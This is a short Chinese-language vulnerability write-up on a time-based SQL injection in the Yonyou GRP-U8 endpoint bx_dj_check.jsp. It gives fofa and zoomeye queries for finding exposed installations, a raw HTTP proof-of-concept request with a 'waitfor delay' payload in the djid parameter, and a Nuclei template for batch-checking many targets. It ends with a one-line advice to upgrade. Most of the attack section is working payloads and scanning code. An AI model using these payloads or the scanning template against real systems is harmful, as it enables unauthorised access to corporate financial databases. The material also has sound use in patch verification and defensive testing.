1day 用友GRP-U8 bx_dj_check 存在SQL注入

0x01 免责声明

文章内容仅供日常学习使用，请勿非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，由使用者承担全部法律及连带责任，作者及发布者不承担任何法律及连带责任。如有内容争议或侵权，我们会及时删除。

0x02 漏洞描述

用友GRP-U8是一款企业级的综合管理软件，主要用于财务、人力资源、供应链、生产制造等多个领域的管理与协同。

漏洞复现用友GRP-U8接口/u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1存在sql注入漏洞

0x03 测绘查询-系统指纹

fofa：app="用友-GRP-U8"

zoomeye：app:"用友GRP-U8"

0x04 漏洞复现

1、访问漏洞系统

2、GET访问URL后面加上漏洞接口地址

/u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:7'--

3、漏洞利用POC

GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:6'-- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

0x05 Nuclei POC 批量验证脚本

id: YonyouGRP-U8-bx_dj_check-SQL

info:
  name: 用友GRP-U8-SQL-bx_dj_check
  author: AYAQ
  severity: high
  metadata: 
    fofa-query: app="用友-GRP-U8"
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"
http:
  - raw:
      - |
        GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:3'--'--&pageId=login HTTP/1.1
        Host:{{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0

      - |
        GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:7'--'--&pageId=login HTTP/1.1
        Host:{{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0

    matchers:
          - type: dsl
            condition: and
            dsl:
              - 'duration_1>=3 && duration_1<=4'
              - 'duration_2>=7 && duration_2<=8'

0x06 漏洞修复建议

系统已发布漏洞修复版本，建议升级到最新版本：

https://www.yonyou.com/